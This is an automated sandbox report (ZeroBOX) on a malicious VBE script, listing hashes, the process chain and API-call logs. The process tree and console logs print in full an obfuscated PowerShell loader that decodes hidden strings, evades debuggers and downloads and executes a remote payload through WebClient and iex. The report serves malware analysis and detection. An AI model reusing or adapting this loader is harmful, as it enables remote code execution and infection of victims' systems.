Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 11, 2024, 10:02 a.m.	Nov. 11, 2024, 10:17 a.m.

Size	55.9KB
Type	ASCII text, with CRLF line terminators
MD5	`6be4a60645b65246db749db5b6e77432`
SHA256	`16ec553f0b7f1f986c3935d730828c8353c6077cdf284ec8011d029d21f5903d`
CRC32	`159C32AD`
ssdeep	`768:S6oqsmoNqQTUhqbs+NfP6jYv5MTEiXHuPT/N43:S6hVoNIEoIvOTEiXux43`
Yara	None matched

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "XywkkEBIqKg" C:\Users\test22\AppData\Local\Temp\Citatfusk.vbe
1460
- wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\test22\AppData\Local\Temp\Citatfusk.vbe"
  2160
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Graphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($host.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bowyang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Garishly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Ruths($Pyridinium){ & ($Internationalisms) ($Pyridinium);}$Crediting=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets=Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEFinut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riADoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNaboYFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGumliselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hyst(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0udko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivBrus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUskyEHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..orseSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswModr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingKar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe>Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparabemata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ EmpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOMortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');Ruths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyheu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRippLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsEKohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$Studielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebsingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-ForooAn lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom.TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhold);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be eHFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLavat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD ValoE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF anfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,nteeIndr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselClaro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE regtBond2Tals2Opre6,ull=Purs(UnbuTUranee brsT luTNaph- SynpUproAS.vkTBortHMili Turq$HjlpbOverUReprrSymbN sepEBygnts.mpt FumIJoltz sk,etro ) Neu ');while (!$Rejespringet226) {Ruths (Forhandlingsleders 'Comm$Mammg spalVenooLichb PreafestlAmts:YogiDC.ewr Ma i Irrl Un l Ni eAkvavSkvaoFinir Sibn taveStams ,mi=W.ak$StyrtAfskrExpiuReeleHelv ') ;Ruths $Overrighteously197;Ruths (Forhandlingsleders ' MonsLukktTusiAFi,kRBordtTeks-V nss G aL,oncE ssEafstPTegn Oth.4s,ra ');Ruths (Forhandlingsleders 'Mu,t$ fvagEmalL etwOTr mb,letA oloL O.f:H,lhrParkE LynJUndse H,osTrifpAnsvR DemIBrilNLavpG StbeBetotPegm2 Fub2Bras6 ned=Kund(Un etCanaeDivus spoT le-AutopSknmANatiT ProhS pr ar$ s ubPronuAdi.rskoknWr,iEApo,tEv rtBecriK ntzForue Omb) ul ') ;Ruths (Forhandlingsleders ' Ple$ WitGStigl,rizOKon b Reta dkLMatr:Mic.MMonouTranD HepDS.ileI teR inKLumbADetasindeTTildNLimoI BekN Di gM nd= Str$NrdeGBreaLOverOOkkub I oA RetL Apo: SegdBiogiUdbuAMythNWilsN BorAUnre+Tovt+B.am%ukrl$MedtS Gavt Ma UnighdSugeIby tETik LAcc eSpi.KPul,tGuarO FinRAc.iEVie.rAktisdyne.gainCte,po,nydU NikNSupptMist ') ;$Blokdiagrammets=$Studielektorers[$mudderkastning];}$Madannoncens=300531;$Outblotted=32092;Ruths (Forhandlingsleders ' Arb$Platg rgaLTri oUds bForeAKonkL Un :SignD VanR Kara,awsMDeliaSh nTUngdiR stc TilaKrysL E.tLKinkYU.je Bnne=Filr Bakkg theESubrTorga-RundCTwino Trin BulT HovEOpprNAnhat eno Krav$L ucb lovUFilhrValuNReacELacitrefrTC oliPew.ZAfstE Ri ');Ruths (Forhandlingsleders 'Eff $Te egEleklSandoBombb F,naStatlNopl: SkyD ProiInt,cA tehChierGaaroHyremTegna Bles assyCoun ,ini=Dec. Kat.[ViolSDeroyOctosAarhtOv remik.m Per.RascCPseuoOvern,okavLitee BrurL ndt Ov ]Taag:Savo:PhosFHeavr T doBrotmForhBAngeakitcsmap erel,6 Una4BlooSBenztVuggrafpaiA.sknInteg Dor(turb$Vi iDBr vrOndsaGenum MakaNonrtSyn.iDonoc ouaLowelU.rilSeruyBydr)E.ma ');Ruths (Forhandlingsleders 'Kolo$Roy.GTidsL Ko.OBlgeB CurAPomplSang:L thF Wi,oDo rd J cB emoaProsLSvigLSki EToxiRTentNDrnieChecsK,nf2gest2,ing1Prea liv=Nonm Ina[CabbSb,svyOpklSTy iTP zoeKo jmFang. ExpT Sr ESukkxTnksT upe.ta keSkimnIdercAffio S jdLeucI DisNOpprG.ice]Sabb: is:Rolia Pu sPsalCOpeniJus I Cat.AreoGAdjoeels.t ,acSHeltTAgg,RsammIBoldnNoc gFunk(Gent$SprndBrstIsvamCAlkahPhotR GhaoSkrim.ermAEl.eS elmyUnd,),nse ');Ruths (Forhandlingsleders 'Fn k$KodaGadellSomaOH vtb C saTranlTvrf:k akKCanoaElecn ,iffDediL SegEEft.nOverDjewdeInd.SIn e= Rej$Gresf resoUnprd loB LinAD ciL C nlBillEWeatrTo uN ksiEBalks Oms2glot2Kuru1 T,a. Kars nfuFor bBackSTapiTCoquRBo aiEjenNT.anga te(Nege$OpbymReopAPiggdAconAFor.nGratNPraxo brNHeatCLaveE VarnCowesTone,omk.$ TamOFainu Fy.tSig b imoL OpvOShogtSilitKrseeSlagD Pix)Phyl ');Ruths $Kanflendes;"
    2580

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (23 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 11, 2024, 10:02 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 11, 2024, 10:02 a.m.			0	0

Command line console output was observed (50 out of 33770 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: The term 'iEX ' is not recognized as the name of a cmdlet, function, script fil console_handle: 0x00000023	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: e, or operable program. Check the spelling of the name, or if a path was includ console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ed, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: At line:1 char:491 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: + <#Kradsbrstige Fatherlands Andelsmejeriet #>;$calciprivic='Regionalsprogenes console_handle: 0x00000053	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ';<#revancherendes Fredningerne totalbelbenes Sporidiiferous bedsteborgerlig Gr console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: aphicsmenu Spektrografernes #>; function Forhandlingsleders($Taboulis){If ($hos console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: t.DebuggerEnabled) {$bowyang++;}$Resalgar=$dilemmaers+$Taboulis.'Length' - $bow console_handle: 0x00000077	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: yang; for ( $Sildefiskere=4;$Sildefiskere -lt $Resalgar;$Sildefiskere+=5){$Gari console_handle: 0x00000083	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: shly=$Sildefiskere;$Baternes+=$Taboulis[$Sildefiskere];}$Baternes;}function Rut console_handle: 0x0000008f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: hs($Pyridinium){ & <<<< ($Internationalisms) ($Pyridinium);}$Creditin console_handle: 0x0000009b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: g=Forhandlingsleders 'PterMPhiloAparz D giUmbrlO.cal dd.aComm/Real ';$Stteriets console_handle: 0x000000a7	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: =Forhandlingsleders ' ynTJackl Elss.kom1Pres2Reng ';$Hamrene=' Eks[Ap lnBroiEF console_handle: 0x000000b3	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: inut Te . SkusNonpeSte rBundvrus,iOdinCtoppEun apStuboImpaIBeren Ic,TDokuMA riA console_handle: 0x000000bf	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: DoksNNyc,A J vG etaE S crTegn]teks:Fant:InakS.ongEPericPostUb hjr Tv,IDobbTNabo console_handle: 0x000000cb	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: YFilmpAt aRGavoOFum.ts,niOGalgc Temo aslAkad=I,st$Kraks B lTStr.tBulgeEs.iRGum console_handle: 0x000000d7	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: liselvEVognt Me sFals ';$Crediting+=Forhandlingsleders 'Down5Nona.Bu s0 kol Hys console_handle: 0x000000e3	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: t(,ilhWC,anicatanBland uttoKuijw bylsApat TeasNliniTD,co Vina1F rh0 ndh.Indl0ud console_handle: 0x000000ef	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ko; Key ResuWudgriSubcnAbra6F.yd4 Sti;,ufo NonlxRefl6 arb4Pr.a;frat E sarVedivB console_handle: 0x000000fb	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: rus:Baks1Conf3prod1 e t. amm0Tatj)Vi g SrbeG toreMunkc,alakPe lo Exp/Flaa2Devo0 console_handle: 0x00000107	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: Auto1Stat0bis.0 Pos1unco0Lnre1.ala Nor,FDiesi gr,rBsseeMo.pfAfm.oTouaxPott/Trib console_handle: 0x00000113	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: 1Crea3 Dro1Te t. Un.0 iv ';$Untradesmanlike=Forhandlingsleders 'StupU.riasUsky console_handle: 0x0000011f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: EHyparInd -undeaT angToldePiliNBesuTIndu ';$Blokdiagrammets=Forhandlingsleders console_handle: 0x0000012b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: 'EstrhEffetRecot Pr p sojsScow:Rese/Kor,/TunefDekliTeaklFable AdedD gmnCult..or console_handle: 0x00000137	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: seSquauBort/Kliml U d9KviltB ygEBirdwDr.bbToph9 aapsGraf6O.eraN niaFlinR UdswMo console_handle: 0x00000143	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: dr5garnfPeliyAngoUMiliiGav aFa.fC.iss0IndslW nnfSk.v/ GigV starLeonaSar,n VingK console_handle: 0x0000014f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ar.eSpilnSemis afv.SeptmCoifsK rriMisc ';$Stramtandede=Forhandlingsleders ' Spe console_handle: 0x0000015b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: >Moh, ';$Internationalisms=Forhandlingsleders 'Jou i Dl EPhytXMagt ';$Antiparab console_handle: 0x00000167	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: emata='Londonese';$Skrubsakkernes='\Lag.Nyt';Ruths (Forhandlingsleders ' Com$ E console_handle: 0x00000173	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: mpG retlPa ko rosB FruATvinL Unr:ForllAloyU ranMV ltIT,reNRitoARulntNonsiPumpOM console_handle: 0x0000017f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ortnTa e=Hexa$ oueFar n.mrevdefi:PaikASoluP Al PCo,adF.anA Ment ,raA sys+Sa,s$ console_handle: 0x0000018b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: KommSPromKAlicRIk nUTas B PresPhysaA,ankCompkrotteInsirMakrNDru.eExceS Stu ');R console_handle: 0x00000197	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: uths (Forhandlingsleders 'Elsk$AfhoGM,lolEpulOSterb Fr,AProol Fr : TypsEquitNyh console_handle: 0x000001a3	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: eu sa d RedIwol EAlabLBe,leMet KAntitKin oQuatR TrieConsRL vsSS ig=udpi$ GraBRi console_handle: 0x000001af	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ppLFerlOunfrKB nedchloiSupeAskraG ilgrskamAExc ME,teMSge ebrnet SlasKo.d.aftrS console_handle: 0x000001bb	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: MonpEliql,anaISpheTOv r(Kltr$UninSAvigtAlunr.ineaUnarmSelvtBremASparnArmpDTavsE console_handle: 0x000001c7	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: KohodglipEEksk)Boli ');Ruths (Forhandlingsleders $Hamrene);$Blokdiagrammets=$St console_handle: 0x000001d3	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: udielektorers[0];$Karvgsforhold=(Forhandlingsleders 'Natu$SiligYisjlCa doIrrebs console_handle: 0x000001df	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: ingAShi lFear:DyreD etaoIngeuaandcTl.nhBl de tyTIn,e=SnakndupeEFibrW Mic-Foroo console_handle: 0x000001eb	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: An lBUdetJ Be EPaddcFasttRean OverSReklY.oenS Sk T J.neSuk mgo,u..tocNDog,Ehom. console_handle: 0x000001f7	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: TSpro.SkriWStereLittbStercAfpuL p eisinte,henN NarT De ');Ruths ($Karvgsforhol console_handle: 0x00000203	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: d);Ruths (Forhandlingsleders 'Bygg$S roD SproTradu asscSpalhSkilefredt D,s.Be e console_handle: 0x0000020f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: HFlleeHidhaSpild ComePulvrRepls Cra[ Dis$ oraUKo pnMicrt AfbrVse aDisrdTraneFej console_handle: 0x0000021b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: sSog m SeraS ran HeclEk tiEnerkBevieHvlb]Brev=Krig$Bo eCDemorPengeTicad .imiLa console_handle: 0x00000227	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: vat.eanispinn Ji.gS pe ');$Overrighteously197=Forhandlingsleders 'Cis,$AethD Va console_handle: 0x00000233	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: loE hvuBe,nc Proh Foreb.gbt suf. OveDPaluoIsoywNonrn.slal Na oA,xoaPepid GruF a console_handle: 0x0000023f	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: nfiIrerlEndoeBejd(Civi$gen B BrelKnifoAfsvk eltdPhiliOveraUltigHemarMa.ta rugm console_handle: 0x0000024b	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: Ex.mStereGro,tH ngsN na, pi$U uaBcolpuStrur Daun.anke OmptGraptSkr,iSnekz,ntee console_handle: 0x00000257	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: Indr)Lime ';$Burnettize=$Lumination;Ruths (Forhandlingsleders 'Tubu$SigngSlselC console_handle: 0x00000263	1	1
WriteConsoleW Nov. 11, 2024, 10:02 a.m.	buffer: laro KirbRha,aFlodlTilt:.orwRGenne ,bfJDiame.malS,orfp Xa,RSludiElecNJ.rdg BlyE console_handle: 0x0000026f	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513080 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00512dc0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513640 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513240 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005138c0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513ac0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 11, 2024, 10:02 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00513540 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
